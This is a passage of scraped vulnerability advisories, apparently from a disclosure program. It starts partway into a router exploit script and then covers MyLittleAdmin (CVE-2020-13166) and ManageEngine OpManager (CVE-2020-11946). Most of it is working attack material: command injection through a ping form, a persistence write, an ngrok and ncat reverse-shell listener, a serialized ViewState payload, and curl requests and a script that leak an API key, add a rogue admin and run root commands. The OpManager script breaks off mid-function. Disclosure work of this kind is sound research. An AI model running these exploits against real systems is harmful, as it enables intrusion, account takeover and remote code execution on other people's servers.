			cmd += f";echo \"/usr/sbin/iccctl start;{cmd};\">{self.persistent_cmd_loc};"

		logging.info(f"Transmitting command '{cmd}'")
		if not already_injected:
			command = f"rm /tmp/t /usr/cgr/www/vpn/*"
			short_single_command_data = f"vlu_diagnostic_tools__ping_address==$({command})&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, data=short_single_command_data, verify=False)

			# chop_up_command 
			params_format = "vlu_diagnostic_tools__ping_address=$(echo -n '{}'>>{})&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			compressed_command = b64encode(gzip.compress(cmd.encode('ascii')))
			logging.debug(f"Transmitting command {cmd} compressed as {compressed_command}")
			cmd_list = [compressed_command[x:x+11] for x in range(0,len(compressed_command),11)]
			for cmd_bit in cmd_list:
				print(".", end="", flush=True)
				# logging.debug(cmd_bit.decode())
				logging.debug("$(echo -n '{}'>>{})".format(urllib.parse.quote(cmd_bit), self.cmd_loc))
				response = requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, data=params_format.format(urllib.parse.quote(cmd_bit), self.cmd_loc), verify=False)
				logging.debug(f"Response wile transmitting command bit {cmd_bit} => {response.headers}")

		try:
			logging.info(f"Executing command...")
			data = f"vlu_diagnostic_tools__ping_address=$(cat {self.cmd_loc}|base64 -d|zcat|sh)&vlu_diagnostic_tools__ping_count=4&vlu_diagnostic_tools__ping_packetsize=64&subUrl=network_diagnostic_tools.asp"
			response = requests.post(f"{self.url}/goform/formSetDiagnosticToolsFmPing", cookies=self.cookies, timeout=5, data=data, verify=False)
			# logging.info("Done executing command.")
		except requests.exceptions.ReadTimeout:
			pass
		except requests.exceptions.ConnectionError as e:
			logging.info("Target Disconnected")
			pass
			
		if feedback:
			try:
				response = requests.post(f"{self.url}/vpn/output", cookies=self.cookies, timeout=5, data=data, verify=False)
				return response.text
			except requests.exceptions.ReadTimeout:
				pass

	#FUNCTIONILITY[EXIT]
	#reboot seems the cleanest way
	def quit(self):
		if self.session_injected:
			self.execute_command("rm /tmp/t /tmp/SMC; umount /usr/cgr/www/vpn; kill `ps | grep [c]gr_httpd|awk '{$1=$1};1'|cut -d' ' -f1`;/usr/cgr/bin/cgr_httpd &")
		os.system("pkill -xe ngrok")
		os.system("pkill -xe ncat")

	################################# Unique Functions Area ####################
	def inject_session(self):
		if self.session_injected:
			return
		params_format = "param_int=78&param_str=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{}"
		injection_fuzz_list = [f"ÿÿÿAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsession={self.cookies['session']}","ÿÿ","ÿ",""]
		logging.info("Injecting Session!!!")
		for appendee in injection_fuzz_list:
			print(".", end="", flush=True)
			response = requests.post(f"{self.url}/goform/formParamRedirectUrl", cookies=self.cookies, data=params_format.format(appendee), verify=False)
		logging.info("Session injected succesfully!!!")
		self.session_injected = True

	def listen_on_ngrok(self):
		# set up ngrok subprocess
		listen_port = None
		ngrok_process = subprocess.Popen([f"{self.dir_path}/ngrok.exe", "tcp", f"{self.shell_listen_port}", "--authtoken", f"{self.ngrok_auth_token}"], stdout=subprocess.PIPE)
		time.sleep(5)
		localhost_ngrok_monitor_url = "http://localhost:4040/api/tunnels"
		tunnels = requests.get(localhost_ngrok_monitor_url).text #Get the tunnel information
		if tunnels is not None and json.loads(tunnels)['tunnels']:
			j = json.loads(tunnels)
			if self.shell_listen_port == j['tunnels'][0]['config']['addr'].split(':')[1]:
				tunnel_url = j['tunnels'][0]['public_url']
				listen_port = tunnel_url.split(":")[2]
				logging.info(f"Ngrok: Listening on {tunnel_url} -> {j['tunnels'][0]['config']['addr']}")
			else:
				ngrok_process.terminate()
				return None, None
		return listen_port, ngrok_process
		
	def listen_for_incoming_shell(self):
		print("Running ncat.exe: {}".format([f"{self.dir_path}/ncat.exe", "-4", "-l", "-w100s", "-v", "0.0.0.0", f"{self.shell_listen_port}"]))
		with subprocess.Popen([f"{self.dir_path}/ncat.exe", "-4", "-l", "-w100s", "-v", "0.0.0.0", f"{self.shell_listen_port}"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=sys.stdin, universal_newlines=True) as ncat_process:
			ncat_output = ncat_process.stdout.readlines(300)
			print("ncat_output: {}, found?: {}".format(ncat_output, any("Listening" in s for s in ncat_output)))
			ncat_status = ncat_output[1].strip().split()[1]
			print("ncat_status: {}".format(ncat_status))
			if any("Listening" in s for s in ncat_output):
				logging.info(ncat_output[1].strip())
				while ncat_process.poll() is None:
					print(self.shell_prompt, ncat_process.stdout.readline().strip())
			else:
				logging.critical(ncat_output[1].strip())
			ncat_process.terminate()


def parse_ip_port(arg_value, pat=re.compile(r"((?:[a-zA-Z\.\-]|[0-9]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+)(?:[:]([0-9]{1,5}))?", re.IGNORECASE)):
	url_match = pat.match(arg_value)
	if not url_match:
		raise argparse.ArgumentTypeError
	return url_match.group(1), url_match.group(2)

if __name__ == "__main__":
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
	# logging.basicConfig(level=logging.DEBUG)
	logging.basicConfig(level=logging.INFO)
	parser = argparse.ArgumentParser(description='SMC Root RCE params')
	parser = argparse.ArgumentParser(description='Required: public ip or ngrok authentication token to use their public ip.')
	parser.add_argument('url', metavar='IP|FQDN', type=str, help='Target URL without path')
	rev_shell_ip = parser.add_mutually_exclusive_group()
	rev_shell_ip.add_argument('--ngrok_auth_token', metavar='auth_token', type=str, nargs=1,
		help='ngrok authentication token to listen on a pulic IP for reverse shell connection.', default=[''])
	rev_shell_ip.add_argument('--listen_ip_port', metavar='ip:port', type=parse_ip_port, nargs=1, default=[('0.tcp.ngrok.io','8888')],
		help='public facing IP and port to get a shell through.')
	args = parser.parse_args()
	SMC(args.url,"unknown", args.ngrok_auth_token[0], args.listen_ip_port[0][0], args.listen_ip_port[0][1]).run()


SSD Advisory – MyLittleAdmin PreAuth RCE

TL;DR

Find out how we managed to execute arbitrary commands on MyLittleAdmin management tool using unauthenticated RCE vulnerability. 

Vulnerability Summary

MyLittleAdmin is a web-based management tool specially designed for MS SQL Server. It fully works with MS SQL Server. While the product appears to be discontinued (no new releases since 2013) it is still being offered on the company web site as well as part of the optional installation of Plesk. Furthermore, there are numerous active installations present on the Internet. An unauthenticated RCE vulnerability in the product allows remote attackers to execute arbitrary commands within the context of the IIS application engine.

CVE

CVE-2020-13166

Credit

An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

MyLittleAdmin version 3.8, we suspect older versions are also affected but have no way to verify it.

Vendor Response

Numerous attempts to contact the vendor went unanswered, attempts to email sales@ and support@ as well as the twitter account apparently has not reached anyone as we have not received any response.

Workaround

The following workaround was provided to us by Tim Aplin from @Umbrellar:

Go into IIS > Machine Keys > Generate new Key > Apply
Run: IISreset

Vulnerability Details

MyLittleAdmin utilizes a hardcoded machineKey for all installations, this value is kept in the file: C:\Program Files (x86)\MyLittleAdmin\web.config

An attacker having this knowledge can then serialize objects that will be parsed by the ASP code used by the server as if it were MyLittleAdmin’s serialized object. This allow an attacker to execute commands on the remote server.

Vulnerable Key

The following is the hardcoded key used by MyLittleAdmin, by inserting its values to ysoserial.exe it is possible to create a payload that will execute a command of our choice:

<machineKey
validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2
C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33
E77E0628B17AA928039BF" decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4" validation="SHA1" />

Demo

Have the skills to find similar vulnerabilities? We’re on the lookout for Server Management Tool researchers to submit their finding, receive very generous rewards and join our team. Click below for more information:

Exploit

The provided exploit code will connect to a remote server and send a payload that starts a calc.exe in the context of IIS Application Engine

#!/usr/bin/python3
import requests
import sys
import logging

from bs4 import BeautifulSoup

# These two lines enable debugging at httplib level (requests->urllib3->http.client)
# You will see the REQUEST, including HEADERS and DATA, and RESPONSE with HEADERS but without DATA.
# The only thing missing will be the response.body which is not logged.
try:
    import http.client as http_client
except ImportError:
    # Python 2
    import httplib as http_client

http_client.HTTPConnection.debuglevel = 0

# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True

print("Connecting to remote server and collecting ASP state and event values")
r = requests.get('http://10.0.0.38')

soup = BeautifulSoup(r.text, 'html.parser')
# print(soup.prettify())

__VIEWSTATEGENERATOR = ""
__EVENTVALIDATION = ""
ServerName = ""

for input in soup.find_all('input'):
  if input['id'] == '__VIEWSTATEGENERATOR':
    __VIEWSTATEGENERATOR = input['value']
  if input['id'] == '__EVENTVALIDATION':
    __EVENTVALIDATION = input['value']
  if input['name'] == 'fServerName$cControl':
    ServerName = input['value']

# print("__VIEWSTATEGENERATOR: {}\n__EVENTVALIDATION: {}\nServerName: {}".format(__VIEWSTATEGENERATOR, __EVENTVALIDATION, ServerName))

shellcode = "/wEyxBEAAQAAAP////8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAAIQBU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuU29ydGVkU2V0YDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAMABgiNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQgCAAAAAgAAAAkDAAAAAgAAAAkEAAAABAMAAACNAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkNvbXBhcmlzb25Db21wYXJlcmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQEAAAALX2NvbXBhcmlzb24DIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIJBQAAABEEAAAAAgAAAAYGAAAACy9jIGNhbGMuZXhlBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgvRWjvTrAIEiQyXFySADCN2ualb9g=="

payload = {
  '__VIEWSTATE' : shellcode,
  '__VIEWSTATEGENERATOR' : __VIEWSTATEGENERATOR,
  '__EVENTVALIDATION' : __EVENTVALIDATION,
  'fServerName$cControl' : ServerName,
  'txtDatabase' : '',
  'listAuthentication' : 'sql',
  'txtLogin' : '',
  'txtPassword' : '',
  'listProtocol' : '',
  'txtPacketSize' : '4096',
  'txtConnectionTimeOut' : '15', 
  'txtExecutionTimeOut' : '0',
  'btnConnect': 'Connect'
}

headers = {
  'Content-Type': 'application/x-www-form-urlencoded',
  'Cookie': 'Skin=default; CultureName=en-US',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  'Origin': 'http://10.0.0.38',
  'Referer': 'http://10.0.0.38/',
  'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36',
}

print("Sending shellcode request to server")
r = requests.post("http://10.0.0.38", data=payload, headers=headers)

if "An error occured." in r.text:
  print("Check Task Manager for win32calc.exe")
else:
  print("Failed to launch shellcode: {}".format(r.text))

SSD Advisory – ManageEngine OpManager Unauthenticated Access API Key Access leads to RCE

Vulnerability Summary

ManageEngine OpManager is a central management software written in Java. A vulnerability in ManageEngine OpManager allows a remote attacker to leak the API key of the product (administrative level API key) which we can then use to execute remote commands with root privileges.

Credit

An independent Security Researcher, @kuncho, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems

ManageEngine OpManager version 12.5.118 and prior.

CVE

CVE-2020-11946

Vendor Response

The vendor has released a patch to resolve this vulnerability: Unauthenticated access to API key disclosure from a servlet call.

Vulnerability Details

The servlet that leaks the admin API key is located at OpManagerIp/servlet/sendData, The Servlet is defined at line 840 in /opt/ManageEngine/OpManager/WEB-INF/web.xml as follows.

  <servlet>
    <servlet-name>sendData</servlet-name>
    <servlet-class>com.adventnet.la.enterprise.servlet.SendDataServlet</servlet-class>
  </servlet>

The class file for the servlet is found in a jar file located at /opt/ManageEngine/OpManager/lib/FirewallService.jar, the code path that causes the bug is shown below:

      public void doPost(final HttpServletRequest req, final HttpServletResponse res) throws ServletException, IOException {
          this.processRequest(req, res);
      }
  
      private void processRequest(final HttpServletRequest req, final HttpServletResponse res) {
          if (!"DS".equals(System.getProperty("server.type")) && !"fwacs".equals(req.getParameter("reqFrm"))) {
              System.out.println(" WARNING: Installation is not of type Distributed Server. ");
              return;
          }
          if ("DS".equals(System.getProperty("server.type")) && !this.isValidReq(req)) {
              SendDataServlet.LOGGER.log(Level.INFO, "Not a valid Request. Going to return");
              return;
          }
          res.resetBuffer();
          res.reset();
          final String adminBuild = req.getParameter("adminBuild");
          if (adminBuild != null) {
              *** snipped ***
          }
          OutputStream outStream = null;
          try {
              final String toProcess = req.getParameter("process");
              final String eeLicExStatus = req.getParameter("fwaDEcountEx");
              if ("applyLic".equals(toProcess)) {
                  *** snipped ***
              }
              else {
                  *** snipped ***
                  final boolean isCentralArchiveEnabled = "true".equals(req.getParameter("isCentralArchiveEnabled"));
                  final boolean isApikeyNeeded = "true".equals(req.getParameter("key"));
                  this.processCentralArchiveRequest(req);
                  outStream = (OutputStream)res.getOutputStream();
                  this.dataSyncHandler.sync(toProcess, null, outStream); //Bug ONE
                  if (isCentralArchiveEnabled) {
                      this.dataSyncHandler.sync("archive", null, outStream);
                  }
                  if (isApikeyNeeded) {
                      this.dataSyncHandler.sync("apikey", req.getParameter("user"), outStream); // Bug TWO
                  }
                  if (eeLicExStatus != null) {
                      FirewallConstants.setFwDELicStatus(eeLicExStatus);
                      this.invokeUIReload(eeLicExStatus);
                  }
              }
          }

As can we can clearly see from the above code, The servlet calls a function in the dataSyncHandler class with user controlled variables, The dataSyncHandler class has a function named sync which basically queries data from the server and sends it back to us. The first parameter to this function determines what type of data we request, In our case the argument is defined by us in the first call (bug number one) and it is set to apikey in the second call (bug number two). What’s more interesting is in bug number two, the servlet passes our user parameter to the function which allows us to grab the admin API key by setting that parameter to admin. The code for the dataSyncHandler is shown below for reference.

  // </opt/ManageEngine/OpManager/lib/FirewallService.jar>/com/adventnet/la/enterprise/dc/DefaultDataSynchronizer.java
  @Override
  public void sync(final String toProcess, final String addlParam, final OutputStream out) throws EnterpriseException {
    if ("sData".equals(toProcess)) {
      this.syncData(out);
    }
    else if ("apikey".equals(toProcess)) {
      this.getApikey(addlParam, out);
    }
    else if ("rPtr".equals(toProcess)) {
      this.clearAndUpdate(out);
    }
    else if ("del".equals(toProcess)) {
      this.saveDeletedInfo();
    }
    else if ("archive".equals(toProcess)) {
      this.syncArchive(out);
    }
    else {
    if (!"mstat".equals(toProcess)) {
      throw new EnterpriseException("Problem while syncing, Unknow entity " + toProcess + " passed for syncing");
    }
    DefaultDataSynchronizer.LOGGER.log(Level.INFO, "License count check from colletor to admin server");
      this.getLicStatus(out);
    }
  }
  
  private void getApikey(final String user, final OutputStream out) throws EnterpriseException {
      try {
          out.write("\nkey=Start\n".getBytes());
          out.write(FwaApiDBUtil.getInstance().getApikeyForUser(user).getBytes());
      }
      catch (Exception exp) {
          throw new EnterpriseException("Error occured while getting apikey", exp);
      }
  }

A curl request that triggers the bug is given below

  curl -v 'http://192.168.56.101:8060/servlet/sendData' -d 'reqFrm=fwacs&key=true&user=admin&process=apikey'

This would result in a response such as this:

  key=Start
  1a5072b0a1b3fb4a93008b52ffc0ab70
  key=Start
  882781cb3818e748404f059f09f246f3

>As a note, On opManager installs with build numbers prior to 123127 the sendData servlet does not exist. The same bug is found on those versions too though. The servlet name and the post data must be adjusted to the following to get the API key. The attached POC automatically checks the build version and uses the right servlet:

  curl -v 'http://172.17.0.2:80/oputilsServlet' -d 'action=getAPIKey'

A sample API request to list all the users in the system, with output:

  curl 'http://192.168.56.101:8080/api/json/nfausers/getAllUsers?apiKey=882781cb3818e748404f059f09f246f3'
  
  [{"uID":1,"currentUser":true,"uName":"admin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"11 Apr 2020 06:13:47 PM UTC"},{"uID":2,"currentUser":false,"uName":"trialuserlogin","uDesc":"Administrator","prevLogin":"Not Available","uAuth":"local","assignPass":false,"authentication":"Local Authentication","currentLogin":"Not Available"}]

After the API key has been obtained, qe can use it to add an admin user and execute remote command using the notification profile test functionality. The notification profile test command execution is not a bug but an option to run a command when an event is triggered.

A sample API request to add a new admin user is given below:

  curl -k 'http://192.168.56.101:8080/api/json/v2/admin/addUser' -d 'userName=support&privilege=Administrator&emailId=mail%40localhost.net&landLine=&mobileNo=&sipenabled=true&tZone=undefined&allDevices=true&authentication=local&fwaresources=&raMode=0&ncmallDevices=&password=P@ssw0rd&apiKey=882781cb3818e748404f059f09f246f3'
  
  {"result":{"message":"User has been successfully added."}}

A request (After logging in with the new user) that will trigger the RCE is shown below (command is run as root):

  curl 'http://192.168.56.101:8080/client/api/json/admin/testNProfile' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-ZCSRF-TOKEN: opmcsrftoken=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' -H 'Cookie: signInAutomatically=true; JSESSIONID=2B0F9568F1730E05146C499F7EA9ACF3; CountryName=ETHIOPIA; NFA__SSO=D74EBE20D409F2C084EEDFF89F818F42; A07A2ABA1A105DA969183132185534A8=MzU0NjIzZDBmMWNlNmEyZjc1OTAyMmE2OWFmOWM5NzI4NjQ0MTAzNmEyOWQ5ODhlZDU2MDNjYTdmMGM0M2U0OGJhNGQwMWI1YjUxNmQzMTY5YjU2YmVkMjFhZDFiMDcwNmU0ZTAzODZjNjUyMTZkNDZhMTM0NzhiMjc3Y2UwODkwYTNjNzBjNzgyNTE1NzlhZmJhYTg1NTdlYTYyOGUyOGQ4ZGI1ZGEx; opmcsrfcookie=a8a3b865cce2cd55358242bc470c76d86124797743526a9f749f8643a3bdc586aad023e709657e788e7c1db2c9b00d3ee1ebeaa6959cb72e9a376ebb34ed9c4a' --data '&append=true&command=id>/tmp/PWNED&selectedseverities=1,2,3,4&checkedhardwareMonitor=true&selectAllhardwareMonitor=true&selectedDevicesStr=127.0.0.53&twoption=All&profileType=Run System Command&name=POP'
  
  {"result":{"message":"Test Action Is Successful"}}

Demo

Exploit

The included with exploit to create a full command execution from the API key leak

#!/usr/bin/python2

import requests
import sys
import urllib3
import json

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class OpManagerExploit():
    def __init__(self,url):
        self.url = url
        self.ver = None
        self.api_key = False

    def FindVer(self):
        ver_req = requests.get(self.url+'/js/%2e%2e/html/About.properties',verify=False,allow_redirects=False)
        if ver_req.status_code != 200:
            print '[-] Unexpected response to fingerprinting request, Bailing.'
            return False
        if ver_req.text.find('BUILD_NUMBER') == -1 or ver_req.text.find('BUILD_VERSION') == -1:
            print '[-] Unable to read OpManager version, Bailing'
            return False
        t = ver_req.text
        self.ver = int(t[t.find('BUILD_NUMBER')+13:t.find('\n',t.find('BUILD_NUMBER'))].strip())
        print '\n[+] Build version of opManager is {}'.format(self.ver)
        print '[+] Found OpManager Version {}'.format(t[t.find('BUILD_VERSION')+13:t.find('\n',t.find('BUILD_VERSION'))].strip())
    
    def LeakApiKey(self):
        if self.ver >= 123127:
            leak_d = {'reqFrm':'fwacs','key':'true','user':'admin','process':'apikey'}
            leak_r = requests.post(self.url+'/servlet/sendData',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            
            if leak_r.text.find('key=Start') == -1:
                print '[-] Invalid response in LeakApiKey()'
                return False
            
            d = leak_r.text
            api_key = d[d.find('key=Start',d.find('key=Start')+11)+10:].strip()
            print '[+] Got API Key {}'.format(api_key)
            return api_key
        else:
            leak_d = {'action':'getAPIKey'}
            leak_r = requests.post(self.url+'/oputilsServlet',verify=False,data = leak_d)
            if leak_r.status_code != 200:
                print '[-] Failed to extract API KEY.'
                return False
            d = leak_r.text
            if d.find('API_KEY=') == -1:
                print '[-] Failed to extract API key'
                return False
            api_key = d[d.find('API_KEY=')+8:d.find('\n',d.find('API_KEY='))]
            print '[+] Got API Key {}'.format(api_key)
            return api_key

    def AddUser(self,interact=False):
        
        if self.api_key is False:
            print '[+] Leaking API key to add a new user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to add a user'
                return False
        
        if interact == True:
            username = raw_input('Username > ')
            password = raw_input('Password > ')
        else:
            username = 'support@localhost.net'
            password = 'P@ssw0rd'
        
        print '[+] Adding a new admin user'
        #add_d = {'userName':username,'privilege':'Administrator','emailId':'mail@localhost.net','sipenabled':'true', 'tZone':'undefined','authentication':'local','raMode':'0','password':password,'apiKey':self.api_key}
        add_d = 'userName='+username+'&privilege=Administrator&emailId=mail@localhost.net&sipenabled=true&tZone=undefined&authentication=local&raMode=0'+'&apiKey='+self.api_key
        print "url: {}, add_d: {}".format(self.url, add_d)
        add_r = requests.post(self.url+'/api/json/v2/admin/addUser?'+add_d,files={'password':(None, password)},verify=False,headers={'Accept':'application/json'})
        if add_r.status_code != 200:
            print '[-] Failed to add a new user, invalid response'
            return False
        else:
            try:
                resp = json.loads(add_r.text)
            except:
                print '[-] Failed to add user, Invalid response data'
                print "add_r: {}".format(add_r.content)
                return False
            if resp.keys()[0] == 'error':
                print '[+] Error {} while adding user'.format(resp['error']['message'])
                return False
            else:
                print '[+] Success, Response from server: {}'.format(resp['result']['message'])
                return True
    
    def DeleteUser(self,interact=False):
        if self.api_key is False:
            print '[+] Leaking API key to delete a user'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api to delete a user'
                return False
        if interact == True:
            username = raw_input('Username to delete> ')
        else:
            username = 'support@localhost.net'
        
        users_list = requests.get(self.url+'/api/json/nfausers/getAllUsers?apiKey='+self.api_key,verify=False).text
        try:
            usl = json.loads(users_list)
        except:
            print '[-] Failed to obtain user list'
            return False
        
        user_id = None
        for u in usl:
            if u['uName'] == username:
                user_id = int(u['uID'])
                print '[+] Found user id {}'.format(user_id)
                break
        
        if user_id is None:
            print '[-] Username not found '
            return False
        
        del_r = requests.post(self.url+'/api/json/admin/deleteUser',verify=False, data = {'userId':user_id,'apiKey':self.api_key})
        if del_r.status_code == 200 and json.loads(del_r.text).keys()[0] != 'error':
            print '[+] User deleted successfully'
            return True
        else:
            print '[-] User deletion Failed.'
            return False

    def ExecuteCommand(self):
        if self.api_key is False:
            print '[+] Leaking API key for RCE'
            self.api_key = self.LeakApiKey()
            if self.api_key is False:
                print '[-] Failed to leak api for RCE'
                return False
        if self.AddUser() is False:
            print '[-] Failed to add user for RCE'
            return False
        
        print '[+] Loggin in with the added user'
        login_dat = {'AUTHRULE_NAME':'Authenticator','clienttype':'html','ScreenWidth':'1920','ScreenHeight':'602','loginFromCookieData':'false','ntlmv2':'false','j_username':'support@localhost.net','j_password':'P@ssw0rd','signInAutomatically':'on','uname':''}
        sess = requests.Session()
        sess.get(self.url+'/apiclient/ember/Login.jsp',verify=False,allow_redirects=False)
        login_r = sess.post(self.url+'/apiclient/ember/j_security_check',data=login_dat,verify=False)
        if login_r.status_code != 200 or (self.ver >= 123127 and 'opmcsrfcookie' not in sess.cookies.get_dict().keys()) or (self.ver < 123127  and login_r.text.find('selectLocalLogin()') != -1):
            print '[+] Login Failed...'
            self.DeleteUser()
            return False
        
        print '[+] Login Successful.'

        command = raw_input('Command to execute> ')
        if self.ver > 123127:
            cmd_d = {'append':'true','command':command,'selectedseverities':'1,2,3,4','checkedhardwareMonitor':'true','selectAllhardwareMonitor':'true','selectedDevicesStr':'127.0.0.53','twoption':'All','profileType':'Run System Command','name':'POP'}
